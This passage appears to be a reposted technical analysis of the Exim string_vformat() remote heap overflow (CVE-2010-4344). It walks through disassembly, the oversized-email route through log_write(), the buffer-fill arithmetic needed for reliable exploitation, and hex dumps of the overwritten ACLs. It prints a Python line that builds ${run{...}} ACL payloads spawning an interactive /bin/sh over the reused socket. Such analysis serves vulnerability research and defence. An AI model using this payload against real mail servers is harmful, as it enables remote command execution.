.text:080A9F40 mov [ebp+width], ecx .text:080A9F43 jle loc_80A9E06 .text:080A9F49 mov [ebp+width], eax .text:080A9F4C jmp loc_80A9E06 last - width is compared with p and the two variables width and precision are changed. .text:080A9E06 loc_80A9E06: .text:080A9E06 mov eax, [ebp+last] .text:080A9E09 sub eax, [ebp+width] .text:080A9E0C cmp edi, eax .text:080A9E0E jb short loc_80A9E22 .text:080A9E10 mov eax, [ebp+last_minus_one] .text:080A9E13 mov [ebp+yield], 0 .text:080A9E1A sub eax, edi .text:080A9E1C mov [ebp+precision], eax .text:080A9E1F mov [ebp+width], eax The function "sprintf()" is called with the new width and precision. .text:080A9E22 loc_80A9E22: .text:080A9E1C mov [ebp+precision], eax .text:080A9E1F mov [ebp+width], eax .text:080A9E28 mov [esp+10h], ebx .text:080A9E2C mov dword ptr [esp+4], offset a_S_0 // "%*.*s" .text:080A9E34 mov [esp+0Ch], edx .text:080A9E38 mov [esp+8], ecx .text:080A9E3C mov [esp], edi .text:080A9E3F call _sprintf .text:080A9E44 mov ebx, [ebp+var_24] .text:080A9E47 cmp byte ptr [ebx], 53h .text:080A9E4A jnz short loc_80A9E5B As we can see, calling the "string_vformat()" function with an overly long string leads to an exploitable heap overflow condition. To remotely trigger the vulnerability, an attacker can send a malformed email message which will be rejected and logged via the "log_write()" [exim-4.69/src/log.c] function which calls the vulnerable "string_vformat()" function. 2. Attack Vector and Reliable Code Execution In order to exploit the vulnerability, an attacker has to find a way to reach the "string_vformat()" function with a controlled buflen and input string. A reliable way is to send an overly large email. When such an email is received, Exim logs the error including various information related to the sender and email headers. This is done via the "log_write()" function which logs errors this way: - First, it allocates a buffer of 0x2000 bytes for the error message - Then, it dumps the information related to the sender of the message - And then, it dumps each header of the received email using "string_format()" The "string_format()" function is merely a wrapper around "string_vformat()". The information related to the sender is formatted the following way: - rejected from <attacker@example.com> H=(localhost) [192.168.158.129]: message too big: read=64948256 max=52428800 - Envelope-from: <attacker@example.com> - Envelope-to: <target@target.com> Each header is dumped separated by two blank spaces. Here is the "log_write()" function in assembly code: .text:0807CC50 log_write proc near .text:0807CC50 .text:0807CC50 var_9C = dword ptr -9Ch .text:0807CC50 src = dword ptr -98h .text:0807CC50 var_94 = dword ptr -94h .text:0807CC50 n = dword ptr -90h [?] .text:0807D6D8 loc_807D6D8: .text:0807D6D8 mov dword ptr [esp], 2000h .text:0807D6DF call _malloc // Error message buffer is allocated .text:0807D6E4 test eax, eax .text:0807D6E6 mov ds:dword_80F37F0, eax .text:0807D6EB jnz loc_807CCFE .text:0807D6F1 mov eax, ds:stderr [?] .text:0807CEAA loc_807CEAA: .text:0807CEAA lea eax, [ebp+arg_C] .text:0807CEAD mov [esp+0Ch], eax .text:0807CEB1 mov eax, ds:dword_80F37F0 .text:0807CEB6 mov edi, [ebp+arg_8] .text:0807CEB9 mov [esp], esi .text:0807CEBC add eax, 1FFFh .text:0807CEC1 sub eax, esi .text:0807CEC3 mov [esp+8], edi .text:0807CEC7 mov [esp+4], eax .text:0807CECB call string_vformat // Dump "rejected from" .text:0807CED0 test eax, eax .text:0807CED2 jnz short loc_807CF2B .text:0807CED4 mov dword ptr [esi], 2A2A2A2Ah [?] .text:0807D74C test ecx, ecx .text:0807D74E jle loc_807DBF0 .text:0807D754 mov eax, ds:sender_address .text:0807D759 mov dword ptr [esp+8], offset aEnvelopeFromS // "Envelope-from: <%s>\n" .text:0807D761 mov [esp], esi .text:0807D764 mov [esp+0Ch], eax .text:0807D768 mov eax, ds:dword_80F37F0 // Error msg buffer .text:0807D76D add eax, 2000h .text:0807D772 sub eax, esi .text:0807D774 mov [esp+4], eax ; int .text:0807D778 call string_format .text:0807D77D cmp byte ptr [esi], 0 .text:0807D780 jz short loc_807D794 .text:0807D782 lea esi, [esi+0] [?] .text:0807D799 mov ebx, [ebp+s] .text:0807D79C mov eax, [eax] .text:0807D79E mov dword ptr [esp+8], offset aEnvelopeToS // "Envelope-to: <%s>\n" .text:0807D7A6 mov [esp], ebx .text:0807D7A9 mov [esp+0Ch], eax .text:0807D7AD mov eax, ds:dword_80F37F0 // Error msg buffer .text:0807D7B2 add eax, 2000h .text:0807D7B7 sub eax, ebx .text:0807D7B9 mov [esp+4], eax .text:0807D7BD call string_format .text:0807D7C2 cmp byte ptr [ebx], 0 .text:0807D7C5 jz short loc_807D7D0 [?] .text:0807D848 loc_807D848: .text:0807D848 mov eax, [edi+0Ch] .text:0807D84B test eax, eax .text:0807D84D jz short loc_807D896 .text:0807D84F mov [esp+10h], eax .text:0807D853 mov eax, [edi+4] .text:0807D856 mov dword ptr [esp+8], aCS_1 // "%c %s" .text:0807D85E mov [esp], ebx ; s .text:0807D861 mov [esp+0Ch], eax .text:0807D865 mov eax, ds:dword_80F37F0 // Error msg buffer .text:0807D86A add eax, 2000h .text:0807D86F sub eax, ebx .text:0807D871 mov [esp+4], eax ; int .text:0807D875 call string_format // Dump a header .text:0807D87A cmp byte ptr [ebx], 0 .text:0807D87D jz short loc_807D888 .text:0807D87F nop [?] .text:0807D888 loc_807D888: .text:0807D888 test eax, eax .text:0807D88A lea esi, [esi+0] .text:0807D890 jz loc_807DC70 .text:0807D896 .text:0807D896 loc_807D896: .text:0807D896 mov edi, [edi] // Is it the last header? .text:0807D898 test edi, edi .text:0807D89A jnz short loc_807D848 // Proceed the next header To reliably exploit this vulnerability, an attacker has to fill the 0x2000 bytes buffer until 3 bytes are left before the last header is copied into the 0x2000 bytes buffer. This is the key of a reliable exploitation to ensure that "p" and "last" are equal (i.e. pointing to the same address). Reliability also depends on calculating the exact and total size of the headers to be sent. This calculation must take into account various informations including: size of "MAIL FROM:" header, size of hostnames, the maximum size supported by the server, and other data related to headers and responses. When the last header is handled, the buffer overflow occurs and the memory after the 0x2000 bytes buffer is overwritten with the content of the last header. A few bytes after the 0x2000 bytes buffer, we can find some ACLs: - At 0x09C1C92E is the penultimate header - At 0x09C1CA0E are the ACLs 09C1C91E 41 41 41 41 41 41 41 41 0A 20 20 30 30 30 30 30 AAAAAAAA. 00000 09C1C92E 30 30 30 36 32 3A 20 41 41 41 41 41 41 41 41 41 00062: AAAAAAAAA 09C1C93E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 09C1C94E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 09C1C95E 41 41 41 41 41 41 0A 00 00 00 00 00 00 00 09 40 AAAAAA.........@ 09C1C96E 00 00 61 40 61 2E 63 6F 6D 00 72 20 6D 65 73 73 ..a@a.com.r mess 09C1C97E 61 67 65 2C 20 65 6E 64 69 6E 67 20 77 69 74 68 age, ending with 09C1C98E 20 22 2E 22 20 6F 6E 20 61 20 6C 69 6E 65 20 62 "." on a line b 09C1C99E 79 20 69 74 73 65 6C 66 0D 0A 00 39 3A 34 37 3A y itself...9:47: 09C1C9AE 31 39 20 2D 30 35 30 30 0D 0A 00 75 65 7D 66 61 19 -0500...ue}fa 09C1C9BE 69 6C 7D 7D 7B 5C 5C 4E 5B 5C 5C 5E 5D 5C 5C 4E il}}{\\N[\\^]\\N 09C1C9CE 7D 7B 5E 5E 7D 7D 7D 7B 5C 5C 4E 28 5B 5E 3A 5D }{^^}}}{\\N([^:] 09C1C9DE 2B 3A 29 28 2E 2A 29 5C 5C 4E 7D 7B 5C 5C 24 32 +(.*)\\N}{\\$2 09C1C9EE 7D 7D 22 0A 00 5C 5C 5E 5D 5C 5C 4E 7D 7B 5E 5E }}"..\\^]\\N}{^^ 09C1C9FE 7D 7D 7D 7B 7D 7D 7D 7B 7D 66 61 69 6C 7D 3B 20 }}}{}}}{}fail}; 09C1CA0E 24 7B 65 78 74 72 61 63 74 7B 31 7D 7B 3A 3A 7D ${extract{1}{::} 09C1CA1E 7B 24 7B 73 67 7B 24 7B 6C 6F 6F 6B 75 70 7B 24 {${sg{${lookup{$ 09C1CA2E 68 6F 73 74 7D 6E 77 69 6C 64 6C 73 65 61 72 63 host}nwildlsearc 09C1CA3E 68 7B 2F 65 74 63 2F 65 78 69 6D 34 2F 70 61 73 h{/etc/exim4/pas ACLs are used when evaluating the sender's address for instance. With ACLs, it is possible to execute a command such as: ${run{command}} On Linux, when a process forks, the opened file descriptors are copied to the child process. Therefore, when the ACL command is executed, the socket file descriptor can be reused by the child. It is then easy to brute force it and use it as stdin. for fd in range(3, 20): cmd += "${{run{{/bin/sh -c 'exec /bin/sh -i <&{0} >&0 2>&0'}}}} ".format(fd) After the overflow, the ACLs are overwritten: - At 0x09C1C92E is the penultimate header - At 0x09C1C95E is the last header - At 0x09C1CA0E are the overwritten ACLs 09C1C91E 41 41 41 41 41 41 41 41 0A 20 20 30 30 30 30 30 AAAAAAAA. 00000 09C1C92E 30 30 30 36 32 3A 20 41 41 41 41 41 41 41 41 41 00062: AAAAAAAAA 09C1C93E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 09C1C94E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 09C1C95E 41 41 41 41 41 41 0A 20 20 30 30 30 30 30 30 30 AAAAAA. 0000000 09C1C96E 30 36 33 3A 20 24 7B 72 75 6E 7B 2F 62 69 6E 2F 063: ${run{/bin/ 09C1C97E 73 68 20 2D 63 20 27 65 78 65 63 20 2F 62 69 6E sh -c 'exec /bin 09C1C98E 2F 73 68 20 2D 69 20 3C 26 33 20 3E 26 30 20 32 /sh -i <&3 >&0 2 09C1C99E 3E 26 30 27 7D 7D 20 24 7B 72 75 6E 7B 2F 62 69 >&0'}} ${run{/bi 09C1C9AE 6E 2F 73 68 20 2D 63 20 27 65 78 65 63 20 2F 62 n/sh -c 'exec /b 09C1C9BE 69 6E 2F 73 68 20 2D 69 20 3C 26 34 20 3E 26 30 in/sh -i <&4 >&0 09C1C9CE 20 32 3E 26 30 27 7D 7D 20 24 7B 72 75 6E 7B 2F 2>&0'}} ${run{/ 09C1C9DE 62 69 6E 2F 73 68 20 2D 63 20 27 65 78 65 63 20 bin/sh -c 'exec_ 09C1C9EE 2F 62 69 6E 2F 73 68 20 2D 69 20 3C 26 35 20 3E /bin/sh -i <&5 > 09C1C9FE 26 30 20 32 3E 26 30 27 7D 7D 20 24 7B 72 75 6E &0 2>&0'}} ${run 09C1CA0E 7B 2F 62 69 6E 2F 73 68 20 2D 63 20 27 65 78 65 {/bin/sh -c 'exe 09C1CA1E 63 20 2F 62 69 6E 2F 73 68 20 2D 69 20 3C 26 36 c /bin/sh -i <&6 09C1CA2E 20 3E 26 30 20 32 3E 26 30 27 7D 7D 20 24 7B 72 >&0 2>&0'}} ${r 09C1CA3E 75 6E 7B 2F 62 69 6E 2F 73 68 20 2D 63 20 27 65 un{/bin/sh -c 'e In order to trigger the ACL, a second email is sent to the server using the same established connection, which leads to arbitrary code execution with Exim privileges. If combined to a privilege escalation vulnerability (e.g. CVE-2010-4345), this flaw could be remotely exploited to execute arbitrary code with root privileges. Surse: - VUPEN Vulnerability Research Blog - Technical Analysis of the Adobe Acrobat / Reader 0-Day Exploit CVE-2010-2883 - VUPEN Vulnerability Research Blog - Technical Analysis of the Stuxnet Windows Win32K.sys Keyboard Layout 0-Day Exploit CVE-2010-2743 - VUPEN Vulnerability Research Blog - Technical Analysis of Exim "string_vformat()" Remote Buffer Overflow Vulnerability CVE-2010-4344
×
×
  • Create New...